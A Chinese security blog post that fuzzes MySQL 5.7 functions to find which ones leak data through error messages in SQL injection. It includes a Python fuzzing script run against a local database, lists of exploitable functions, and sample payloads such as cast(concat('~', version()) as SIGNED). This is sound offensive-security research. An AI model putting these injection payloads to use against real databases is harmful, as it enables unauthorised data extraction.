MySQL 报错注入的函数 Fuzz

Author Avatar
Tr0y 4月 10, 2019 13:47:52 本文共 1.4k 字
  • 文为知己者书
  • 在其它设备中阅读本文章

MySQL 中的报错注入利用了函数不正当的使用方式导致信息被报错外带。这篇文章利用 fuzz 来对收集到的函数逐个进行测试,试图找到一些很少被注意到却能造成报错注入的函数。

测试环境:
mysql Ver 14.14 Distrib 5.7.24, for Linux (x86_64)

函数收集

官方文档给出了函数列表:https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html

按照这个列表,利用正则 [_a-zA-Z0-9]+\(\),我们可以收集以下函数:

ABS()
ACOS()
ADDDATE()
addslashes()
ADDTIME()
AES_DECRYPT()
AES_ENCRYPT()
ANY_VALUE()
Area()
AsBinary()
ASCII()
ASIN()
AsText()
AsWKB()
AsWKT()
ASYMMETRIC_DECRYPT()
ASYMMETRIC_DERIVE()
ASYMMETRIC_ENCRYPT()
ASYMMETRIC_SIGN()
ASYMMETRIC_VERIFY()
ATAN()
ATAN2()
AVG()
BENCHMARK()
BIN()
BIT_AND()
BIT_COUNT()
BIT_LENGTH()
BIT_OR()
BIT_XOR()
Buffer()
CAST()
CEIL()
CEILING()
Centroid()
CHAR()
CHAR_LENGTH()
CHARACTER_LENGTH()
CHARSET()
COALESCE()
COERCIBILITY()
COLLATION()
COMPRESS()
CONCAT()
CONCAT_WS()
CONNECTION_ID()
Contains()
CONV()
CONVERT()
CONVERT_TZ()
ConvexHull()
COS()
COT()
COUNT()
CRC32()
CREATE_ASYMMETRIC_PRIV_KEY()
CREATE_ASYMMETRIC_PUB_KEY()
CREATE_DH_PARAMETERS()
CREATE_DIGEST()
Crosses()
crypt()
CURDATE()
CURRENT_DATE()
CURRENT_TIME()
CURRENT_TIMESTAMP()
CURRENT_USER()
CURRENT_USER()
CURRENT_USER()
CURTIME()
DATABASE()
DATE()
DATE_ADD()
DATE_FORMAT()
DATE_SUB()
DATEDIFF()
DAY()
DAYNAME()
DAYOFMONTH()
DAYOFWEEK()
DAYOFYEAR()
DECODE()
DEFAULT()
DEGREES()
DES_DECRYPT()
DES_ENCRYPT()
Dimension()
Disjoint()
Distance()
ELT()
ENCODE()
ENCRYPT()
EndPoint()
Envelope()
Equals()
EXP()
EXPORT_SET()
ExteriorRing()
EXTRACT()
ExtractValue()
FIELD()
FIND_IN_SET()
FLOOR()
FORMAT()
FOUND_ROWS()
FROM_BASE64()
FROM_DAYS()
FROM_UNIXTIME()
GeomCollFromText()
GeomCollFromWKB()
GeometryCollection()
GeometryCollectionFromText()
GeometryCollectionFromWKB()
GeometryFromText()
GeometryFromWKB()
GeometryN()
GeometryType()
GeomFromText()
GeomFromWKB()
GET_FORMAT()
GET_LOCK()
mysql_change_user()
mysql_reset_connection()
ps_setup_save()
gethostbyaddr()
gethostbyname()
getrusage()
gettimeofday()
GLength()
GREATEST()
GROUP_CONCAT()
GROUPING()
GTID_SUBSET()
GTID_SUBTRACT()
HEX()
HOUR()
IF()
IFNULL()
IN()
INET6_ATON()
INET6_NTOA()
INET_ATON()
INET_NTOA()
INSERT()
INSTR()
InteriorRingN()
Intersects()
INTERVAL()
IS_FREE_LOCK()
IS_IPV4()
IS_IPV4_COMPAT()
IS_IPV4_MAPPED()
IS_IPV6()
IS_USED_LOCK()
IsClosed()
IsEmpty()
ISNULL()
IsSimple()
JSON_APPEND()
JSON_ARRAY()
JSON_ARRAY_APPEND()
JSON_ARRAY_INSERT()
JSON_ARRAYAGG()
JSON_CONTAINS()
JSON_CONTAINS_PATH()
JSON_DEPTH()
JSON_EXTRACT()
JSON_INSERT()
JSON_KEYS()
JSON_LENGTH()
JSON_MERGE()
JSON_MERGE_PATCH()
JSON_MERGE_PRESERVE()
JSON_OBJECT()
JSON_OBJECTAGG()
JSON_PRETTY()
JSON_QUOTE()
JSON_REMOVE()
JSON_REPLACE()
JSON_SEARCH()
JSON_SET()
JSON_STORAGE_SIZE()
JSON_TYPE()
JSON_UNQUOTE()
JSON_VALID()
LAST_DAY()
LAST_INSERT_ID()
mysql_insert_id()
mysql_reset_connection()
mysql_stmt_insert_id()
LAST_INSERT_ID()
LCASE()
LEAST()
LEFT()
LENGTH()
Length()
LineFromText()
LineFromWKB()
LineString()
LineStringFromText()
LineStringFromWKB()
LN()
LOAD_FILE()
LOCALTIME()
LOCALTIMESTAMP()
LOCATE()
LOG()
LOG10()
LOG2()
LOWER()
LPAD()
LTRIM()
MAKE_SET()
MAKEDATE()
MAKETIME()
MASTER_POS_WAIT()
MATCH()
MAX()
MBRContains()
MBRCoveredBy()
MBRCovers()
MBRDisjoint()
MBREqual()
MBREquals()
MBRIntersects()
MBROverlaps()
MBRTouches()
MBRWithin()
MD5()
MICROSECOND()
MID()
MIN()
MINUTE()
MLineFromText()
MLineFromWKB()
MOD()
MONTH()
MONTHNAME()
MPointFromText()
MPointFromWKB()
MPolyFromText()
MPolyFromWKB()
MultiLineString()
MultiLineStringFromText()
MultiLineStringFromWKB()
MultiPoint()
MultiPointFromText()
MultiPointFromWKB()
MultiPolygon()
MultiPolygonFromText()
MultiPolygonFromWKB()
my_open()
NAME_CONST()
IN()
NOW()
statement_performance_analyzer()
NULLIF()
NumGeometries()
NumInteriorRings()
NumPoints()
OCT()
OCTET_LENGTH()
OLD_PASSWORD()
ORD()
Overlaps()
PASSWORD()
PERIOD_ADD()
PERIOD_DIFF()
PI()
Point()
PointFromText()
PointFromWKB()
PointN()
PolyFromText()
PolyFromWKB()
Polygon()
PolygonFromText()
PolygonFromWKB()
POSITION()
POW()
POWER()
pthread_mutex()
QUARTER()
QUOTE()
mysql_real_escape_string()
mysql_real_escape_string_quote()
RADIANS()
RAND()
mysql_session_track_get_first()
RANDOM_BYTES()
RELEASE_ALL_LOCKS()
RELEASE_LOCK()
REPEAT()
REPLACE()
REVERSE()
RIGHT()
ROUND()
ROW_COUNT()
mysql_affected_rows()
RPAD()
RTRIM()
SCHEMA()
SEC_TO_TIME()
SECOND()
SESSION_USER()
setrlimit()
SHA()
SHA1()
SHA2()
SIGN()
SIN()
SLEEP()
SOUNDEX()
SPACE()
SQRT()
SRID()
ST_Area()
ST_AsBinary()
ST_AsGeoJSON()
ST_AsText()
ST_AsWKB()
ST_AsWKT()
ST_Buffer()
ST_Buffer_Strategy()
ST_Centroid()
ST_Contains()
ST_ConvexHull()
ST_Crosses()
ST_Difference()
ST_Dimension()
ST_Disjoint()
ST_Distance()
ST_Distance_Sphere()
ST_EndPoint()
ST_Envelope()
ST_Equals()
ST_ExteriorRing()
ST_GeoHash()
ST_GeomCollFromText()
ST_GeomCollFromTxt()
ST_GeomCollFromWKB()
ST_GeometryCollectionFromText()
ST_GeometryCollectionFromWKB()
ST_GeometryFromText()
ST_GeometryFromWKB()
ST_GeometryN()
ST_GeometryType()
ST_GeomFromGeoJSON()
ST_GeomFromText()
ST_GeomFromWKB()
ST_InteriorRingN()
ST_Intersection()
ST_Intersects()
ST_IsClosed()
ST_IsEmpty()
ST_IsSimple()
ST_IsValid()
ST_LatFromGeoHash()
ST_Length()
ST_LineFromText()
ST_LineFromWKB()
ST_LineStringFromText()
ST_LineStringFromWKB()
ST_LongFromGeoHash()
ST_MakeEnvelope()
ST_MLineFromText()
ST_MLineFromWKB()
ST_MPointFromText()
ST_MPointFromWKB()
ST_MPolyFromText()
ST_MPolyFromWKB()
ST_MultiLineStringFromText()
ST_MultiLineStringFromWKB()
ST_MultiPointFromText()
ST_MultiPointFromWKB()
ST_MultiPolygonFromText()
ST_MultiPolygonFromWKB()
ST_NumGeometries()
ST_NumInteriorRing()
ST_NumInteriorRings()
ST_NumPoints()
ST_Overlaps()
ST_PointFromGeoHash()
ST_PointFromText()
ST_PointFromWKB()
ST_PointN()
ST_PolyFromText()
ST_PolyFromWKB()
ST_PolygonFromText()
ST_PolygonFromWKB()
ST_Simplify()
ST_SRID()
ST_StartPoint()
ST_SymDifference()
ST_Touches()
ST_Union()
ST_Validate()
ST_Within()
ST_X()
ST_Y()
StartPoint()
STD()
STDDEV()
STDDEV_POP()
STDDEV_SAMP()
STR_TO_DATE()
STRCMP()
SUBDATE()
SUBSTR()
SUBSTRING()
SUBSTRING_INDEX()
SUBTIME()
SUM()
SYSDATE()
SYSTEM_USER()
TAN()
thr_setconcurrency()
TIME()
TIME_FORMAT()
TIME_TO_SEC()
TIMEDIFF()
TIMESTAMP()
TIMESTAMPADD()
TIMESTAMPDIFF()
TO_BASE64()
TO_DAYS()
TO_SECONDS()
Touches()
TRIM()
TRUNCATE()
UCASE()
UNCOMPRESS()
UNCOMPRESSED_LENGTH()
UNHEX()
UNIX_TIMESTAMP()
UpdateXML()
UPPER()
USER()
UTC_DATE()
UTC_TIME()
UTC_TIMESTAMP()
UUID()
mysql_session_track_get_first()
UUID_SHORT()
VALIDATE_PASSWORD_STRENGTH()
VALUES()
VAR_POP()
VAR_SAMP()
VARIANCE()
VERSION()
WAIT_FOR_EXECUTED_GTID_SET()
WAIT_UNTIL_SQL_THREAD_AFTER_GTIDS()
WEEK()
WEEKDAY()
WEEKOFYEAR()
WEIGHT_STRING()
Within()
X()
Y()
YEAR()
YEARWEEK()

一共 460 个

fuzz

我采取的办法是按照以下形式调用,参数错误的再单独过一遍:

select func(version());

代码:

import MySQLdb
from warnings import filterwarnings
filterwarnings('error', category = MySQLdb.Warning)

def put_color(string, color):
    colors = {
        'red': '31',
        'green': '32',
        'yellow': '33',

        'blue': '34',
        'pink': '35',
        'cyan': '36',
        'gray': '2',
        'white': '37',
    }

    return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string))


db = MySQLdb.connect("localhost", "root", "", "test", charset='utf8')
cursor = db.cursor()

with open('func.txt', 'r') as fp:
    funcs = [i[:-2] for i in fp.read().split('\n') if i] # 去掉括号

hackable = []
old_hackable = []
unhackable = []
param_error = []
old_func = []

for func in funcs:
    cmd = 'select {}(concat("~", version(), "~"))'.format(func)
    print('[+] '+func+': ', end='')

    try:
        cursor.execute(cmd)
    except Exception as e:
        error = str(e)
        if '~5.7.24~' in error:
            print(put_color('可用于报错注入', 'green'))
            hackable.append(func)
        elif 'Incorrect parameter count' in error or 'SQL syntax' in error:
            print(put_color('参数错误', 'yellow'))
            param_error.append(func)
        elif 'does not exist' in error:
            print(put_color('函数不存在', 'red'))
            old_func.append(func)
        elif '''concat('~',version(),'~')''' in error:
            print(put_color('可用于旧版本报错注入', 'cyan'))
            old_hackable.append(func)
        else:
            print(put_color('无法用于报错注入', 'red'))
            unhackable.append(func)
            # print(''+str(e))

        continue
    else:
        print(put_color('无法用于报错注入', 'red'))
        unhackable.append(func)

    # data = str(cursor.fetchall())
    # print('  [-] '+data)

print(put_color('可用于报错注入', 'green'))
for func in hackable: print(func)

print(put_color('可用于旧版本报错注入', 'cyan'))
for func in old_hackable: print(func)

print(put_color('参数错误', 'yellow'))
for func in param_error: print(func)

print(put_color('无法用于报错注入', 'red'))
for func in unhackable: print(func)

结果:

...

可用于报错注入
DATE
DAY
DAYNAME
DAYOFMONTH
DAYOFWEEK
DAYOFYEAR
HOUR
LAST_DAY
MICROSECOND
MINUTE
MONTH
MONTHNAME
QUARTER
SECOND
ST_LatFromGeoHash
ST_LongFromGeoHash
TIME
TIME_TO_SEC
TIMESTAMP
TO_DAYS
TO_SECONDS
UNIX_TIMESTAMP
WEEK
WEEKDAY
WEEKOFYEAR
YEAR
YEARWEEK

可用于旧版本报错注入
COT
GeometryCollection
INET6_ATON
INET6_NTOA
INET_ATON
LineString
MultiLineString
MultiPoint
MultiPolygon
Polygon
UNHEX

参数错误
ADDDATE
ADDTIME
...

无法用于报错注入
ABS
ACOS
...

其中 可用于旧版本报错注入 是由 bigint 型报错注入在新版本的 MYSQL 里的行为推测出来的,没有实际进行测试。

接下来,再对那些参数错误函数,增加参数,进行尝试:

可用于报错注入
ADDDATE
ADDTIME
DATE_FORMAT
DATEDIFF
ExtractValue
GTID_SUBSET
GTID_SUBTRACT
ST_PointFromGeoHash
STR_TO_DATE
SUBDATE
SUBTIME
TIME_FORMAT
TIMEDIFF

可用于旧版本报错注入
参数错误
CAST
CONNECTION_ID
...

这样一直增加参数,直到没有 参数错误的函数 试完。最终的可利用的函数如下(# 后面表示特殊的利用方式):

可用于报错注入
DATE
DAY
DAYNAME
DAYOFMONTH
DAYOFWEEK
DAYOFYEAR
HOUR
LAST_DAY
MICROSECOND
MINUTE
MONTH
MONTHNAME
QUARTER
SECOND
ST_LatFromGeoHash
ST_LongFromGeoHash
TIME
TIME_TO_SEC
TIMESTAMP
TO_DAYS
TO_SECONDS
UNIX_TIMESTAMP
WEEK
WEEKDAY
WEEKOFYEAR
YEAR
YEARWEEK
ADDDATE
ADDTIME
DATE_FORMAT
DATEDIFF
ExtractValue
GTID_SUBSET
GTID_SUBTRACT
ST_PointFromGeoHash
STR_TO_DATE
SUBDATE
SUBTIME
TIME_FORMAT
TIMEDIFF
UpdateXML
EXTRACT # EXTRACT(second from version())
INSERT # SELECT INSTR(1, 1+version())
DATE_ADD # select DATE_ADD(concat("~",version()), INTERVAL 10 second)
DATE_SUB # 同 DATE_ADD
CAST # select cast(concat("~", version()) as SIGNED)
CONVERT # select CONVERT(concat("~", version()), SIGNED)
TIMESTAMPADD # select TIMESTAMPADD(second, 1, concat("~", version()))

TIMESTAMPDIFF # 同 TIMESTAMPADD
GET_FORMAT # select get_format(date, 1+version())

可用于旧版本报错注入
COT
GeometryCollection
INET6_ATON
INET6_NTOA
INET_ATON
LineString
MultiLineString
MultiPoint
MultiPolygon
Polygon
UNHEX

End

What do you think?

本文标题: MySQL 报错注入的函数 Fuzz
原始链接: http://www.tr0y.wang/2019/04/10/MySQL报错注入函数Fuzz/
发布时间: 2019.04.10-13:47
最后更新: 2019.04.10-17:24
版权声明: 本站文章均采用CC BY-NC-SA 4.0协议进行许可。转载请注明出处!